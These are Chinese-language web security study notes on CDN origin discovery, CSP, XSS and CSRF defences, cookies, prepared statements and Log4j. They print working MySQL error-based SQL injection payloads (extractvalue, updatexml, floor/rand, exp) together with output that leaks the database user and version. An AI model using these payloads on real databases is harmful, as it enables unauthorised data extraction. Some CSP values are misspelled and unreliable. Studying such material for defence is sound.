Skip to content

Latest commit

 

History

History
205 lines (143 loc) · 5.65 KB

安全.md

File metadata and controls

205 lines (143 loc) · 5.65 KB

网络安全

  1. 通过 DNS 历史记录
  2. 查询子域名
  3. shodan
  4. tls 证书
  5. 利用网站返回的内容寻找真实原始 IP

HTTPS 加密过程

image

web 安全

请求走私的原理,请求走私的类型有哪些

https://portswigger.net/web-security/request-smuggling#what-is-http-request-smuggling

渗透测试方法论

  • Planning
  • Reconnaissance
  • Threat Modeling
  • Testing and Exploitation
  • Post Exploitation
  • Reporting

error based SQL 注入

Mysql 报错注入主要分为以下几类:

  • BIGINT 等数据类型溢出
  • xpath 语法错误
  • concat+rand()+group_by 导致主键重复
  • 空间数据类型函数错误

floor

mysql> select * from admin where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

1062 - Duplicate entry 'root@localhost1' for key 'group_key'


mysql> select * from admin where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

1062 - Duplicate entry '5.5.531' for key 'group_key'

extracvalue()

mysql> select * from admin where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
1105 - XPATH syntax error: '~root@localhost~'


mysql> select * from admin where id=1 and (extractvalue(1,concat(0x7e,(select version()),0x7e)));
1105 - XPATH syntax error: '~5.5.53~'

updatexml()

mysql> select * from admin where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
1105 - XPATH syntax error: '~root@localhost~'


mysql> select * from admin where id=1 and (updatexml(1,concat(0x7e,(select version()),0x7e),1));
1105 - XPATH syntax error: '~5.5.53~'

exp()

mysql> select * from products where pid=1 and exp(~(select * from(select user())a));
1690 - DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

mysql> select * from admin where id=1 and exp(~(select * from(select version())a));
1690 - DOUBLE value is out of range in 'exp(~((select `a`.`version()` from (select version() AS `version()`) `a`)))'

常用的 CSP 指令

  • default-src
  • script-src
  • style-src
  • img-src
  • connect-src
  • font-src
  • object-src
  • media-src
  • frame-src
  • report-uri
  • sandbox
  • child-src
  • from-action
  • frame-ancestors
  • plugin-types

常用的 CSP 指令值

  • *
  • 'node'
  • 'self'
  • data:
  • wwww.baidu.com
  • *.baidu.com
  • 'unsafe-inlie'
  • 'unsafe-eval'

Cookies 安全: HTTPOnly 没有设置

在创建 cookie 应用时应该注意启用 HttpOnly 属性。

javax.servlet.http.Cookie cookie = new javax.servlet.http.Cookie(emailCookie; email);
cookie.setHttpOnly(true);

不要被 HttpOnly 欺骗进入虚假安全。由于已开发出了多种绕过的机制,因此它并非完全有效。

Header 操作:Cookies

Cookies 型 HTTP 头部操作,HTTP 报头中存在用户输入的字符串,造成 HTTP 响应

同源策略

同源策略是一种约定,它是浏览器最核心也是最基本的安全功能。如果缺少了同源策略,浏览器很容易遭受 XSS、CSRF 等攻击。同源是指协议+域名+端口三者相同。

xss 防范

  • 使用 html 转义
  • 对于链接跳转,应该检查其内容,禁止非法协议(比如 javascript)
  • 在 onerror, onload, onclick 事件中,注入不受控制代码
  • 在 style 属性和标签中,比如(backgroud-image:url("javascript"), expression)
  • 使用严格的 Content Security Policy
  • HTTP-only Cookie:禁止 JS 读取敏感 Cookie,攻击者完成 XSS 注入后也无法窃取 Cookie

CSRF 防护

  • 阻止不明外域的访问
  • 提交时要求附加本域才能获取的信息

refer policy 的设置

  • 在 CSP 设置
  • 页面头部增加 meta 标签
  • a 标签增加 refferpolicy 属性

reffer 没有或者不可信

  • IE6、7下使用 window.location.href=url 进行界面的跳转,会丢失 reffer
  • IE6、7下使用 window.open,也会缺失 reffer
  • HTTPS 页面跳转到 HTTP 页面,所有浏览器 reffer 都丢失
  • 点击 Flash 上到达另外一个网站的时候,reffer 会比较杂乱,不太可信

防范网站被利用

  • 严格管理所有上传接口
  • 添加 Header X-Content-Type-Options: nosniff 防止黑客上传 HTML 内容的资源被解析为网页
  • 对于用户上传的文件,进行转存或者校验。不能直接使用用户填写的图片链接
  • 当前用户打开外部链接时,需告知风险

哪些 HTTP 头字段无法通过程序修改

https://developer.mozilla.org/zh-CN/docs/Glossary/%E7%A6%81%E6%AD%A2%E4%BF%AE%E6%94%B9%E7%9A%84%E6%B6%88%E6%81%AF%E9%A6%96%E9%83%A8

  • Accept-Charset
  • Accept-Encoding
  • Access-Control-Request-Headers
  • Access-Control-Request-Method
  • Connection
  • Content-Length
  • Cookie
  • Cookie2
  • Date
  • DNT
  • Expect
  • Host
  • Keep-Alive
  • Origin
  • Proxy-
  • Sec-
  • Referer
  • TE
  • Trailer
  • Transfer-Encoding
  • Upgrade
  • Via

哪些地方不能使用预编译

凡是字符串但又不能加引号的位置都不能参数化,包括 SQL 关键字、数据库名、表名、字段名、函数名等等。

预编译的过程

在 prepare 阶段,声明模板会发送给数据库,数据库进行语法检查并且初始化需要的资源,为声明执行做准备。在执行阶段,客户端将参数值发送给数据库,数据库通过模板创建语句,并将参数化的值进行绑定。

log4j 漏洞原理

调用 format 函数会匹配 ${ 符号的内容进行匹配,调用链上之后又 lookup 函数,并且会进行协议的解析,最终实现了 jndi 注入。